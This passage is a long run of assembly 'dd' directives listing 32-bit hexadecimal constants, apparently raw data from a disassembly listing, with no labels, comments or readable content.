dd 34B7483Eh, 86B2BBD5h, 97CFD300h, 1339B392h, 443F00F9h
dd 0FE1AE89Dh, 0C00F59Fh, 614BEEBh, 3AE46F1h, 9350D154h
dd 0AAA83E65h, 0CE00909Fh, 0FBEA2924h, 10212Dh, 0D71BF2F9h
dd 0D2B78996h, 3DAAD800h, 8E9F0B78h, 0E46D0074h, 0F132F622h
dd 42262DBBh, 55075A19h, 0BF90C2DFh, 78AB33Dh, 234CAEF2h
dd 32D260A6h, 88005195h, 1099FF67h, 1FA350Ah, 9666EAF9h
dd 0E8290EC4h, 1B0052CCh, 8B50A3FFh, 7F6C79h, 758EF7E9h
dd 10924CCDh, 2B0B0200h, 9858AD16h, 0B16504C4h, 0C03EE09Dh
dd 0A5839C1Ch, 0C846FC00h, 1C7773CAh, 67360052h, 9F89FA70h
dd 79005F88h, 9AE15834h, 7DBFECAh, 871EB613h, 66444728h
dd 0E4007C2Dh, 0E19B7733h, 2EE9DB19h, 0E0F24Bh, 1FB46E89h
dd 6A1F8FD0h, 3440D16Ch, 1C42AC03h, 0B3598A6h, 1DF324B8h
dd 0F700CDF0h, 60E7468h, 115F02h, 0D6F6D0Bh, 0DA335E38h
dd 583B3600h, 6BD51CF1h, 7DBD1D91h, 0F3C04024h, 0E4064151h
dd 463BA400h, 8A09AB4Fh, 0B97401h, 1A5B612Ah, 0BC04F7F1h
dd 0E5196C00h, 1DFED289h, 213707F2h, 20A9C46Dh, 0A05E54C3h
dd 3F240D00h, 226569B0h, 4CA51D57h, 0D92D8953h, 0B37F6980h
dd 5871FFCFh, 3C4B1100h, 17C1C9D7h, 0BBCD00B5h, 8AF7BB6h
dd 4C007209h, 18C38240h, 1B8678Fh, 0CE657A3Fh, 0C81C4D4Bh
dd 3900D5B3h, 0E2962757h, 4CEF9Ah, 985E59B7h, 67A3DB7Fh
dd 9E72531Fh, 0B3255C00h, 0E0BEE6FDh, 93C61EAAh, 7DB443C0h
dd 8EE30F2Ah, 6F2B9EA0h, 81966A3Dh, 246B997Eh, 88C84190h
dd 0BBDA3C3Bh, 6000BE3Eh, 34E3F095h, 0CF008F94h, 15FA068h
dd 18CE03h, 82EF41DCh, 6186E970h, 1DE7134Ch, 0B480B23Fh
dd 6DC8FF53h, 0B9FE26h, 325815BEh, 88D2AADAh, 81363Fh
dd 0A573D65Eh, 0C879430h, 70D04B3Ah, 970E78AAh, 20F64811h
dd 71BA9CCh, 0BE4A3B75h, 27E201FDh, 0EE55A1C8h, 9BC8EB4Dh
dd 33033BACh, 0E8CF78F5h, 2969A9D9h, 0A126D4h, 8367813Ch
dd 0A9EBA4EAh, 34A7E500h, 3957974Eh, 0DFFE09h, 612FE699h
dd 9BC919D9h, 6BFD7C00h, 68EBBDB1h, 2BAF000Eh, 9F733EC4h
dd 0E9F4768Ah, 0C294BA00h, 1CAAD669h, 60840090h, 1B15015Dh
dd 5A1D6BF8h, 0D180DAADh, 808248BDh, 0DE1900E7h, 0E4469439h
dd 6800DC9Bh, 38C48936h, 494CFFh, 0C97E241Ch, 84F16272h
dd 4701DE7Fh, 232A5D7h, 3DCC29FBh, 5BEA00DDh, 355F469Ch
dd 432C62B7h, 3C6E32h, 7F7D9A33h, 0AD6FB2h, 0D3FC51DEh
dd 0A240C010h, 9100837Eh, 45541B24h, 0E6D559h, 0D98014E8h
dd 4297DA6Eh, 8646691Eh, 0EF219C81h, 85F48EA7h, 4FD11CEEh
dd 0A2A4C098h, 74282A41h, 0C5076A00h, 0B830A12Eh, 0B8B07CBh
dd 606EE664h, 36153D6Bh, 0AAC0900h, 5ACC3B0Ch, 6980024h
dd 1E5B8EE3h, 87076FF1h, 95FFA87Fh, 4EC6E30h, 7EC00019h
dd 0C34743Ch, 0AC0088E3h, 42290D79h, 6225E4h, 0A5A37C73h
dd 0E3C1DE38h, 36BB80BDh, 0BA567Fh, 6B96E4D1h, 84323E08h
dd 0C00A9B8h, 66167E8Fh, 4F4026h, 0AAF8060Bh, 0B9493C2Ch
dd 3500F178h, 926DBC8Fh, 13B66Bh, 3BC50CF7h, 714F6F10h
dd 0A2008670h, 15203DAFh, 3FE1C99h, 0A423F785h, 79D0A687h
dd 740061DFh, 0D582971Ah, 680E62h, 3AE16027h, 92054590h
dd 0AF93BB03h, 0FEE2B1A7h, 8290372h, 9B8F0E57h, 20B328A8h
dd 7C958h, 0AEA64A9h, 219270h, 33758550h, 8CECBD61h, 0A969E700h
dd 0F0FC3536h, 3B9C00F1h, 0CF88063Ah, 0CE0F265Ch, 607765EAh
dd 0A0E48961h, 0D03D2CBCh, 87B3073Ah, 0FFB2F0CBh, 0AF3969E1h
dd 5F7E00BBh, 243B2F30h, 6D870099h, 1DE7E30Bh, 4600EAC7h
dd 4DF93FA4h, 78E625h, 8E9D7271h, 0B281701Bh, 803ECF3Ch
dd 5D61D5DEh, 196D1Dh, 9C292234h, 3B131A52h, 548DCF00h
dd 0D16515FEh
dd 1CA20385h, 5F0F63BCh, 275DA9B8h, 432258h, 0E37473EFh
dd 0E72EE0h, 8C1F6587h, 1AC71EF4h, 840B1800h, 10CA2F93h
dd 0A76E5h, 8D47C99Ch, 7AEA1BFCh, 331E42F0h, 59002857h
dd 0FEAFB8CAh, 870801EEh, 108DF2FCh, 0A436E4A6h, 3DF5921Dh
dd 9CF731C0h, 0D00498h, 1BB29D9Fh, 0A5C34295h, 2CA0395Ah
dd 0CF6000A3h, 8CDA3628h, 240778E3h, 83AA1DEh, 0A6D8CA40h
dd 0F9175CDDh, 427F111Ch, 0D1FABE72h, 0EFB93560h, 50B2301Dh
dd 10E20A00h, 0A6017Ah, 72435EE9h, 879ECA80h, 88E7BD00h
dd 3C1D9ECh, 3A4A7F62h, 8E00A91Dh, 75DA9404h, 9D1F2738h
dd 817B0185h, 0D486E51h, 3D02928h, 0C31000FFh, 7246740Ah
dd 32000887h, 0E89E993Dh, 7527893Bh, 0A32B0004h, 901383C6h
dd 82A03A71h, 88581E86h, 0F2A80069h, 0E1218070h, 994000CAh
dd 0F3C59C54h, 220EAE48h, 0A0AB112Fh, 0C3B07883h, 8CD6006Fh
dd 0C44FE94Eh, 2D07376Eh, 0E5B9E785h, 0C22C5720h, 629800ACh
dd 10DC1436h, 0C3002B19h, 0B6F9807Dh, 1E97C223h, 3E6DB81Fh
dd 0C6498D80h, 0A1F3673Dh, 0A9008C74h, 85AA5B09h, 122D0D72h
dd 0C1AD12h, 0AC300FCBh, 0F83EE628h, 0D67B9C9Ch, 0A0BD1140h
dd 335CA7h, 4FD55E45h, 2E4CB91Ch, 0F0EDF503h, 0C8EB4070h
dd 12679F9Eh, 1FFC45EEh, 0CACD8072h, 0B620E2F8h, 775E6404h
dd 0C3801D26h, 387C0918h, 1F72D6C7h, 40D0B119h, 0BB23D148h
dd 3601E33Bh, 3731B08Fh, 0EED8EAFFh, 2D6F00C5h, 0F3BDF93h
dd 5A0FF85Bh, 0C01162B9h, 87E6DAB5h, 50F400A9h, 6B0F7E1Ah
dd 0A7058683h, 4A47BCFFh, 8B906C0h, 5717B56h, 0E9CFEF48h
dd 306D80A9h, 609D0DEh, 5F263FD1h, 0DFC4EA00h, 83003ED6h
dd 0CE1270CBh, 3DF7EFD3h, 9E00FDA2h, 0D925BA73h, 910F5FFEh
dd 0E0D79202h, 0ECAB4D72h, 2DB98F0h, 0CE426152h, 1240A7ACh
dd 0E2009AF5h, 0DAC79B49h, 794C18h, 0D320987Fh, 24E0E7B9h
dd 0EE54A00h, 1A115554h, 0CFEB00BBh, 63CB733Fh, 2900BFE8h
dd 21FB5925h, 8495F7h, 4266374Eh, 2DA01BC4h, 1FC7E33Ah
dd 890EB077h, 609A80F8h, 1A3E421h, 94CDC273h, 0FC6F1522h
dd 0E100D8F7h, 342ADA5Dh, 2CC1B39Fh, 0F1BC62h, 43DB0516h
dd 0BE00DF9Ah, 0E4F7F86Ch, 0FDFC92h, 5803E2Eh, 41F2C51Bh
dd 0AE00A9FEh, 0EF087B68h, 4877A94h, 0F4933D38h, 0D727806Dh
dd 0EE005391h, 1D987163h, 3FE6EAh, 262031F0h, 175FB2F4h
dd 0A3008CECh, 95A783B5h, 7109303h, 0F072C1D6h, 411D301Ah
dd 4C7B77F7h, 0F2CD5D0Eh, 96ACE095h, 123702h, 0EB9E7D34h
dd 5DA0288Eh, 80C2413Dh, 2A402B60h, 7B19808h, 0B6EFE637h
dd 0D1D3A0F7h, 8400490Eh, 5FF4F43h, 6A962Dh, 0C4568B2h
dd 0B03A645Bh, 0EB66F403h, 8687129Eh, 3EB4C0EEh, 0D5AEA6CDh
dd 0BA17C924h, 86202C00h, 0F9CADAh, 0C6671D56h, 29605E55h
dd 0E99B3000h, 18390DE2h, 0F13B008Ch, 0B5A4BB74h, 0CC008B58h
dd 1032FF34h, 31E7E4h, 6BCD2481h, 623918AAh, 7AADB300h
dd 5C1A4D77h, 0D35800F4h, 71CA08C9h, 9B008C60h, 8A3D9293h
dd 0C2AAB1h, 0BAF3DA9Fh, 9E8B4E82h, 8E416100h, 76C89774h
dd 0EF6C00A3h, 9BEB83C0h, 0A40F0F3Fh, 5907F0h, 887F29E1h
dd 19AC0E93h, 55C07E8Eh, 6EF9E973h, 5C819700h, 0DDB357F3h
dd 0D6EAB5h, 73F01321h, 0DFA260ADh, 0CC006798h, 0FAAA504Bh
dd 0C85C82h, 59524824h, 0B86B8A73h, 0BC634600h, 54EFA8C0h
dd 3D27694h, 8F17D0FDh, 0BAC8215Ch, 0E100B7DDh, 0A08D960Bh
dd 729351Eh, 26A5F5Ah, 0FAB13088h, 400451Bh, 90FDEA4Bh
dd 0E7B03Dh, 9922210Fh, 0BBC52CABh, 0CCD8B200h, 0F16D3945h
dd 8A43005Dh, 94C0F5C3h, 40F8C26h, 3A723Bh, 9BF52F8h, 5B07008Ah
dd 0AD4F77D8h, 0CF007F2Ch, 7332DD8Fh, 3FFF3EEEh, 8900CAABh
dd 8CD99A66h, 2E3B850Ah, 0B6DB0014h, 18A62353h, 0FAAE0083h
dd 0CA287E6Ah, 0FD005257h, 6FB3017Bh, 3951F11Fh, 8A00F2AFh
dd 1A1C2A3Ah, 4A008861h, 3115DE07h, 1D1B87Eh, 6CDDDBE8h
dd 0CCEC75ABh, 70074D41h, 0A3FF4E46h, 0FB9737F0h, 771F0F78h
dd 252099EDh, 0CD05708Bh, 0BAF77950h, 0AF0080FAh, 0EB5DB985h
dd 0BCB433h, 19D49C11h, 43C1A56Dh, 282FFB00h, 7FFCDE40h
dd 776A00D7h, 0BCA96207h, 250EC9E8h, 0E09E96DBh, 4E6F5BB7h
dd 0B5CE0073h, 473477CCh, 0BF003191h, 5164BB8Dh, 4C8BBEh
dd 0E3567C87h, 24675A54h, 0A37E3200h, 0E931CDF1h, 0B8F80E6Eh
dd 0B360205Dh, 671A4140h, 0E37B512h, 27484305h, 3C8D39C0h
dd 6F96003Bh, 79E3EB1Ch, 2E81BCCh, 64AB500h, 0F65ACE9Dh
dd 0BEE648h, 0F24464C7h, 0EC5C238Bh, 28A47603h, 0E8480974h
dd 0FB6B4A1h, 327A4EEDh, 0EF4D08A0h, 82011365h, 0A04FBD0h
dd 5FC590B7h, 0B53021F5h, 0AF750083h, 51443555h, 813CCBE8h
dd 200D0E6Dh, 4BEBE08Dh, 3F0574E2h, 1F80BB5Fh, 53D84079h
dd 0D100F98Eh, 61FFA2F1h, 0F67AF873h, 0EA6D00A8h, 9C399947h
dd 800EEBACh, 20B2B72Fh, 549133D3h, 0B83B00D4h, 3415E04Ch
dd 0B60074EAh, 708796C1h, 0FBDE63h, 0A6A514F5h, 49F6247h
dd 0ECEE7B01h, 93D8D710h, 4BF5C0h, 0E56D2ACDh, 7FF86D1h
dd 0CBF4EE00h, 28E773ACh, 72EC00E3h, 0DB4B1B1Ah, 0D2033BCEh
dd 0AA2F3E93h, 24F3D088h, 63D53E99h, 0ADF03281h, 0E4AFBBBAh
dd 27021CABh, 0DDECC658h, 0C7E057E0h, 0C100D21Eh, 95FBEBB1h
dd 10FEF07h, 61C6DABFh, 0E0DB69F1h, 0B30066F0h, 29AFCD31h
dd 0BB3996h, 0EFA4FD1Bh, 0E106F91Dh, 9C98BE00h, 1BDED74h
dd 0DD6900C1h, 9F2879F2h, 0A300A573h, 6254C950h, 35CAAF6h
dd 8AE33639h, 86834738h, 213FDAD0h, 1669571Fh, 0D7E8B980h
dd 0F14DFh, 8DD43B3Ah, 588B8E4Ch, 68F86700h, 924BA3E1h
dd 0B7910712h, 504DAA0Ch, 56FE0282h, 25228500h, 3103F48Fh
dd 7389169Bh, 0FAA4007Ch, 9DCFB680h, 0DF7E5500h, 70B07F10h
dd 79AE0E5Ah, 69C296F0h, 34E00DACh, 7B038A53h, 15EF6307h
dd 0AD9BD8D9h, 2ECB0229h, 190920B5h, 0F1A170C0h, 812A4400h
dd 0F9451043h, 1D7800C2h, 2F23CDAEh, 0C4009969h, 0A440EC7Dh
dd 97618Bh, 6ED7DCD9h, 83325CFEh, 482B8000h, 7F8BE372h
dd 0C89E00B1h, 8E14E0D2h, 6F004930h, 98C29FEAh, 9C65A4h
dd 16325806h, 4A113CBAh, 12369500h, 0EE2654DDh, 6A8900AEh
dd 0F98AB473h, 0DE0FC13Eh, 0A292346Dh, 0C0703B51h, 1FA02Fh
dd 1509BEF3h, 0D177E0A9h, 690117F0h, 0B085E6BAh, 5C20414Eh
dd 0F1DD004Dh, 0EA3625A8h, 0D5001E17h, 8EFA19D3h, 1F90D40Ch
dd 243AEDh, 5EBC39C9h, 0C5008064h, 27DECE4Dh, 9D881D87h
dd 614E3EE0h, 4CEED507h, 7A639857h, 25788972h, 8752F8h
dd 0A2F9391Ah, 0D9C8D189h, 8E59B300h, 5336064Bh, 12EB00F6h
dd 82C52286h, 13E475FCh, 0D5F07EFAh, 4AF01D00h, 0CC441253h
dd 1F9200C4h, 8057B7A0h, 0E2006023h, 0B4850573h, 2CF5ABh
dd 0E9FC51D2h, 3AC94D0Fh, 611EE0Eh, 667E2050h, 40FBE6h
dd 0E7D7C34h, 0E2B5B34Eh, 18B83800h, 362E3D14h, 22512C4h
dd 15CD0060h, 0AC523563h, 1DBF3Fh, 0CEE07C31h, 75D2F5h
dd 5F378099h, 409248Ch, 36F14903h, 0E0E0AE27h, 87D30Ah
dd 1E1AC19h, 6E3A626Dh, 4D00EB75h, 0A62AF6A8h, 1DF9FAFh
dd 0F2CCE715h, 0C4998CE3h, 0C5002936h, 6B47ED5Bh, 0F0D5FB9h
dd 0D3BEDF05h
dd 5024F2C0h, 3A00DEADh, 64F1DF4h, 3083EF7h, 8D0382D8h
dd 0F880CC2Ch, 421201A4h, 94A05E02h, 0B73E0018h, 986B7081h
dd 0E774CAFCh, 114B9100h, 0FA167EB8h, 0DCB050h, 0F7FF44C5h
dd 77F37A52h, 0CF112E00h, 56E706E1h, 0D13F001Fh, 0FD398E46h
dd 2D12B9F3h, 0E0009651h, 249CAF1Eh, 5727006Bh, 8EDDF729h
dd 7600E387h, 50A128Bh, 7CC537A0h, 0AFCF3AEEh, 9942580h
dd 34ECF3F0h, 0C100B27Fh, 9897B9BDh, 0BB24A1h, 6B6D3D88h
dd 81A9337Ch, 2D755100h, 0FE4EA22Fh, 3D1500DAh, 66C18A5Eh
dd 6B007F54h, 0ACC4DBD5h, 1E61A5E2h, 0D8EA78h, 7ADEF88Ch
dd 5C00193Ch, 35D981FAh, 9D32DCh, 0BFBAB352h, 8491BE8Ch
dd 223F6700h, 30474511h, 7A9FE7Eh, 0AE4CFAB5h, 3ED9F0C6h
dd 0A41FBF9Dh, 4041525Bh, 7D8C2386h, 6A87C4h, 0C4448D97h
dd 1D53DA49h, 0DB74F51Ch, 8B078F40h, 0D69FFEh, 7E91F01Ah
dd 79A8FCB9h, 8143EE1Ch, 0E29C7100h, 4FE97Ch, 540D1361h
dd 0C8049D41h, 0C0E78A7Dh, 57006DECh, 0CAB8A5D1h, 390F1E49h
dd 5E0082BAh, 0DF19CD7Eh, 4300F9A1h, 2C2E316h, 1CB748h
dd 2340417Bh, 0E18BBBDAh, 4E4D7F02h, 0C02C58BAh, 92DC511Bh
dd 87EA001Eh, 1319D9C4h, 590E0720h, 0DEC29160h, 58A3D200h
dd 0FAC3FAADh, 0D8500E21h, 9805D68h, 474DF9BAh, 4B42F200h
dd 15E9278Bh, 284500B4h, 2BFC8EFFh, 0B500511Fh, 0E5A947C6h
dd 1EB7106h, 0FA028127h, 0CCD1D96Ch, 0D200BB32h, 0C7D5CA53h
dd 260B25h, 3FE15539h, 4CDE3868h, 0E00FC5EEh, 41462076h
dd 8814EE11h, 0B329DCh, 4C4565A7h, 0E3BB93B1h, 61DE8700h
dd 0E7473F2Bh, 788304B8h, 0C09D6EC0h, 6D8AA062h, 3D6F9300h
dd 0B03A3623h, 437A002Ch, 540424D8h, 0AE00C3F2h, 527C9499h
dd 0DAF59Fh, 0AF01C163h, 97591782h, 2124E201h, 570672F9h
dd 83D4B4C5h, 6F7C0549h, 0C02FC2ACh, 2CBFE940h, 0CD63A200h
dd 45937F7Dh, 0CB283FB6h, 4A490800h, 4D4233E8h, 87B5FF3Ah
dd 9A5E387Eh, 1C285BC0h, 3BB200AAh, 30F21A82h, 0A700B4D9h
dd 2DE85FDAh, 32602EAh, 0C0C241A5h, 8FA0CE59h, 0E300227Ah
dd 302B9111h, 0EA5096h, 4F9E2928h, 0B6C0B05Ah, 0E3F42201h
dd 6F0B9741h, 0AAFC33C9h, 7B7C38h, 0EA573AFEh, 0B78103A6h
dd 4774C700h, 34C6CE52h, 0E3E60058h, 1D988D0Fh, 0FB1E4CC5h
dd 900FA427h, 0C999C707h, 1AF9BCE0h, 1045009Ah, 46CFFC8Ah
dd 7900FB55h, 0A5CC4FDCh, 0B8B6580Dh, 0EC820067h, 55495062h
dd 6D1C6798h, 180F42Bh, 0AB5D081h, 0D7794Dh, 46C94CFBh
dd 6531C2A2h, 27002477h, 619BAB35h, 6AF175h, 0C2CAF38Ah
dd 0E23F847Fh, 7BF570E5h, 5A58AB00h, 0FEFB35E4h, 1A27F0Ch
dd 9CB0B691h, 0EC1140C8h, 0F53D2F3Ch, 0A28E0424h, 0A7F85542h
dd 41DE0778h, 377D4599h, 0F594701Ah, 3E0FBBF1h, 0A0FBA627h
dd 10EAE9E8h, 0E6B0008h, 29F7D591h, 0AD003006h, 2156ED62h
dd 4498C51h, 7CE6B85Ch, 0D45B8084h, 24003670h, 2E2227CCh
dd 3A4494F8h, 0B300FEE1h, 0E8E00E17h, 1C1FF156h, 7AC7236Ch
dd 0D100F67Fh, 6A7D6Bh, 3152DE78h, 0C491139Ah, 0C20B3E00h
dd 9CAADA84h, 0ED460053h, 0B2A2C359h, 3FB0EBEEh, 544BC100h
dd 0FD627DADh, 971000ECh, 8874233Bh, 2A0925D2h, 800BBB3Eh
dd 11A6174Ch, 90381EFDh, 0E4594018h, 0F5FA2C21h, 0C66FF000h
dd 0FD77FBDCh, 483900B4h, 0F1837C27h, 3AC09D9Ah, 0E9C689BFh
dd 5BE19F4Bh, 33B06051h, 0A1876C00h, 0F9A2AA2h, 0E94D000Eh
dd 8A516938h, 91020306h, 0ED7C3E6Bh, 0A026E3F3h, 0B8AF654Fh
dd 6AFC0012h, 0BAE84BF5h, 12005C9Ch, 196D221Bh, 1E30ABE0h
dd 5F0CC4C8h, 26AD009Eh, 0CDA518E9h, 900F1CB8h, 80754C3Fh
dd 0A3F06E15h, 521000B9h, 66D58ABDh, 0C9001DA5h, 9A6FE4F1h
dd 561F69h, 8B5399Dh, 0A462D52Ah, 4099070Eh, 0C6E4C0A7h
dd 894AB0h, 0FAE51E58h, 9C8AEE54h, 0C4B29000h, 476B5FB6h
dd 24DE03FBh, 0D78D648h, 151E2DA0h, 0E1BEFF00h, 76724D4Bh
dd 0D47D00F0h, 303FFE7Bh, 4000F932h, 187A5E66h, 79ADEE7h
dd 0BAF34D53h, 63F69015h, 0AF038708h, 7019B259h, 5A0F0CBh
dd 0C1CC0026h, 0DEFF1846h, 0E300D19Ch, 0AD948965h, 3860EFAFh
dd 480368D0h, 6DD9ED92h, 155621A7h, 1E3D8A3h, 0A83DB302h
dd 50787C17h, 0FFD80789h, 0C08A14F1h, 4D1D2CA6h, 7FAEF40Fh
dd 0CAAFE08Fh, 82ADBCh, 0E9BD5913h, 8470C5C9h, 9705E300h
dd 1E2FA811h, 0CE49019Bh, 0EED075C1h, 4E39F4C2h, 0C0D7A300h
dd 89F95368h, 2A870091h, 2E50694Ah, 0B47CCE93h, 0EAB1DD00h
dd 447443Fh, 4DBA03C7h, 3BDE9B6Bh, 0DFC077D3h, 0C1006862h
dd 0C5289D84h, 5B53B8h, 0B5A39598h, 0E61E11FDh, 0A5152200h
dd 6F3ADB16h, 0D41001Ah, 2A0EED4Eh, 5000134h, 0D8DA4D06h
dd 2C215515h, 543B84h, 0BE163ED3h, 0A200D5DDh, 64959F60h
dd 1CED09F8h, 40DFDEB8h, 9D5859CDh, 6F001E80h, 0B5145EE4h
dd 3AA18Dh, 0C17587A5h, 0F64B3856h, 89001370h, 23BDA260h
dd 73C735h, 38DA88F5h, 0E48A3B19h, 7FE80600h, 8F7D3B2h
dd 0FB6E00B9h, 53EB9E3Ah, 0A8079617h, 0D440E6B7h, 0CA8FB880h
dd 60ACC042h, 3F19D1F8h, 0CC32B91Fh, 55D52080h, 0A3AF4Bh
dd 727360E6h, 53D3B15h, 0AA488F00h, 589AFC54h, 6F1C007Bh
dd 2D0AAB69h, 0B11CF21Bh, 6EC0A891h, 0FD874D54h, 0F84E001Fh
dd 0E4FBDDB8h, 803DC86h, 3913CF6Fh, 2BAAC0C4h, 0A54200B1h
dd 9F6EEBB0h, 677D4FDFh, 71239800h, 64F52637h, 0C9C400B9h
dd 0FC8892B1h, 0B7015EE9h, 3E6DA88Dh, 67D8853Ch, 391D1F12h
dd 611900AEh, 0B4D5CD43h, 0A8D7ED0Fh, 2AEB0051h, 0F4A45E7h
dd 0E3ECA73Ch, 216600B6h, 909DA846h, 0B3357900h, 0C560A176h
dd 0F5C00026h, 0DC95DD11h, 9F7A0BE4h, 0A70062EEh, 0C8713AB2h
dd 2F76E2h, 6DDFD91Bh, 444F05B5h, 0D19EEA00h, 25527B2h
dd 935900DBh, 3130147h, 0DA773A7Bh, 650F5590h, 60FFD223h
dd 0DB304164h, 397C7BB0h, 0BD014C31h, 8893DF2Fh, 0C049D186h
dd 2000BFDCh, 8B6BDD35h, 85A599h, 2DD49854h, 0EF931C95h
dd 0CA3F0A1Eh, 2E28A9C0h, 305C4A5h, 0EA2A2441h, 99E01EFEh
dd 64007881h, 0B98E7E4h, 595788h, 0B5AAA892h, 2AED7A40h
dd 5396400h, 0AE66E9Fh, 8D540050h, 0CA4C7923h, 0F200FB1Fh
dd 0B2650BE8h, 66A44Fh, 3D16DBEAh, 0D1E21784h, 53F06FE9h
dd 99DF015Fh, 643E90BCh, 28A0FCAEh, 80438538h, 0DB570297h
dd 3D642CCh, 0A36CCE30h, 0C6C866B4h, 1C0079DEh, 3BC5E8Eh
dd 0EE867E01h, 0F04E0010h, 0D7AF0A3Ch, 1400762Ch, 5CF4E905h
dd 7AAABBFh, 59C8A6C7h, 0AFF01019h, 9E00EEF8h, 672E86E2h
dd 71CF2Ah, 7B0E5B4Eh, 471485CAh, 79DB6007h, 3B20682Eh
dd 2BC7E8h, 40E55CD2h, 0C897AA32h, 313FE400h, 7D56CA6Bh
dd 214424EBh, 0A8A4003Bh, 0A7FE8BF5h, 1CBED107h, 4720223Eh
dd 39535D28h, 55002B32h, 2EB737A5h, 0F000AAEFh, 0C7CC6173h
dd 1C21B942h, 0C03A6225h, 4BD30BB3h, 370002A4h, 90D793F8h
dd 6E9E78h, 0D284D455h, 623460D3h, 9809BA00h, 0F7E0174Dh
dd 0CC901D0h, 4674C36Dh, 0DC3171B0h, 3A79C082h, 3984A948h
dd 129000Ch, 0B4552ABDh, 6D4900E2h, 0FC9562A0h, 0DB006341h
dd 44459E67h, 3B17A172h, 9B96C120h, 0D80301E6h, 60A20516h
dd 8C008D37h, 14A44E99h
dd 3A11E4Dh, 9C0D8AD9h, 68F080D8h, 0BAEE1D7Eh, 42303Dh
dd 2790C40h, 18B4C47h, 9E0F4953h, 0F8BC5426h, 957F0703h
dd 4A003DECh, 2D0C5718h, 0B879F4h, 87D076BDh, 0E4BB2524h
dd 61B5521Dh, 9600FE5Ch, 0FBA35928h, 0D23F5815h, 5F7C7100h
dd 0CC43F88Bh, 95905079h, 68768000h, 92C5F49Ch, 1CF37036h
dd 701E7AEh, 0E0DB4462h, 75B0088Ah, 1CDF590Bh, 1D91005Eh
dd 3EB1071Ah, 5073D0Ah, 30E304FAh, 146A7E57h, 227AB400h
dd 0B1F3128Dh, 18A40773h, 10762FACh, 25C43E50h, 0D6E56001h
dd 4BEF0159h, 82BF4h, 3F675D51h, 1AE47F57h, 0EAD74907h
dd 7772E917h, 98504042h, 12E1012Ah, 803A4088h, 37D4F0DBh
dd 31B5D92Ch, 0D1247800h, 7FEEC87Fh, 0B6A800C3h, 6704F347h
dd 0F8003CBFh, 0B5A63220h, 4FB1EB0h, 1FDDEB5Eh, 5D00FA34h
dd 0D6D470E3h, 0BCF800FFh, 8B8531A7h, 0DD766BCCh, 0D9614A7Ah
dd 0A3922524h, 0B4BE3880h, 0C3942787h, 780035F2h, 8CD07F89h
dd 199D4Bh, 987AD6A9h, 146EDD5Ah, 17E8400Fh, 0DA9E2728h
dd 0BE71B800h, 44C00077h, 57A77EF2h, 2A008BC1h, 3A4D5D69h
dd 0E81448CEh, 2B401CA0h, 0C26406Dh, 6795A253h, 43CB9400h
dd 89C81B6Ah, 472E0044h, 9793D796h, 57006987h, 0B87DBF25h
dd 0D3A9B1h, 0ED70595Eh, 781DA864h, 0C6A3C201h, 0AAAFA74Dh
dd 1CF7ED4h, 0C95EA9D7h, 0F20733A2h, 32F580FDh, 0B94A89h
dd 0B631F90Fh, 0FAED0B56h, 0D6A9413h, 3AC32000h, 0FC2858h
dd 9F7201CDh, 4C07E177h, 7615C707h, 0B5C082B2h, 0FCE94h
dd 11F3FCDDh, 0F5A5E7B3h, 340090FCh, 0A10AAE4Ah, 0D9D5ABh
dd 54569A80h, 5F2C141Eh, 41B4BC00h, 9D231752h, 129900AEh
dd 96350FF2h, 0F8006D89h, 0BD22F6EBh, 78C9A17Dh, 0DD330079h
dd 9CADEEA6h, 7CF29746h, 3F8B658h, 0B0545E82h, 0BC06D8A3h
dd 52B70024h, 8CA20CB9h, 180071A9h, 5DCFD921h, 83FA37h
dd 0B91126AEh, 6AE2F809h, 876B2900h, 0E07406ACh, 0D2BF0082h
dd 68D6D14Ch, 2C00386Ch, 0B9DA1756h, 5558B2h, 87AF95FBh
dd 0B5C06D22h, 0C5CEB802h, 60DF9A27h, 3FE3487Bh, 0FC3B81h
dd 0C4C2F082h, 1009C3E5h, 0D41C2F0Fh, 0C6954104h, 0B0D03741h
dd 3EC7005Bh, 0A606C0B6h, 0DB70CC87h, 470FFF1Fh, 0D4496FC0h
dd 3EFCF4B7h, 921F11BDh, 934480CFh, 0D8FA24A1h, 0A48BAA00h
dd 2875FE20h, 99E800FDh, 9A050ECAh, 61033D4Ah, 39512695h
dd 0F55BD8E6h, 17EF008Dh, 213FAA58h, 0E0074EB1h, 0A3820834h
dd 8E5BF470h, 0D21848F7h, 3C744F00h, 0F3722073h, 6A0045F8h
dd 825064B5h, 0F029E996h, 5CA81C36h, 0A3C540DFh, 0E3F5AA13h
dd 0B7505900h, 0FF909FFDh, 1B020083h, 80719C98h, 0D4729A1Eh
dd 5163F81Eh, 0B654ABC0h, 0BE444Eh, 0C5D9E1E9h, 2ECFA89h
dd 9A678000h, 648768AAh, 0CE1C00BCh, 0D7EEB158h, 0F93F22D1h
dd 5F390184h, 8991C12Dh, 0F6C59BF0h, 0FAF800C9h, 0F7970406h
dd 56004AEDh, 0F9BAA35Dh, 5AD6C0h, 8B27D89Bh, 714BEB21h
dd 9DFA4773h, 0D07CBA00h, 0BF427F5Fh, 3B352636h, 70600F1h
dd 0D2AB671Eh, 8366C33Eh, 548964F6h, 0F5A2F026h, 4EE41F2Fh
dd 9F8E8163h, 0FCF00BA7h, 0E89010C6h, 0B5FD791Ch, 13EAA6C0h
dd 0E6997C5Ch, 98D0E178h, 0C64F0056h, 0A76525B9h, 0F51EF71Fh
dd 0E1C0A27Ch, 0F8960BB2h, 0DEC1Dh, 5BD125F3h, 453DCABDh
dd 0FF797700h, 0E7C184B8h, 0C56800DCh, 0D71E3A04h, 0F300F165h
dd 0FAE93979h, 4DE6BEh, 68B05392h, 0C68B0C63h, 75CA3B07h
dd 65F1FB9Eh, 0FD04DD3h, 0B9760071h, 0D90DA077h, 850014C7h
dd 0DC18FDB5h, 8048B3h, 91946C46h, 672A8EE4h, 5CB98703h
dd 90BE235Eh, 907C5419h, 2D3207C8h, 806E7AECh, 0D3778B25h
dd 76FA158h, 0E4E8186h, 61627E30h, 0D7796Dh, 0A7910535h
dd 0B3602FA4h, 4A147800h, 15EF2126h, 0EBBA007Ah, 0ABCBF8ECh
dd 0DC0045D0h, 7753CF40h, 30246Eh, 0CC35DF4h, 0B44FD87Dh
dd 5A005975h, 0A0ECAD9Fh, 1C76521h, 58DCFC82h, 0C4CB0D90h
dd 0F0006263h, 0E4C9C4A9h, 274EDDh, 151D34A5h, 8AFFA1B8h
dd 0BB812F07h, 980103Dh, 0E221578Bh, 3A7A00DFh, 0E8845CE3h
dd 0F0006D4Dh, 38A46469h, 0DB53B4h, 19AE02ACh, 2BFC1A1Fh
dd 0CB5A6800h, 42CA9B25h, 0A26413D6h, 0DC230108h, 0DACCF5DBh
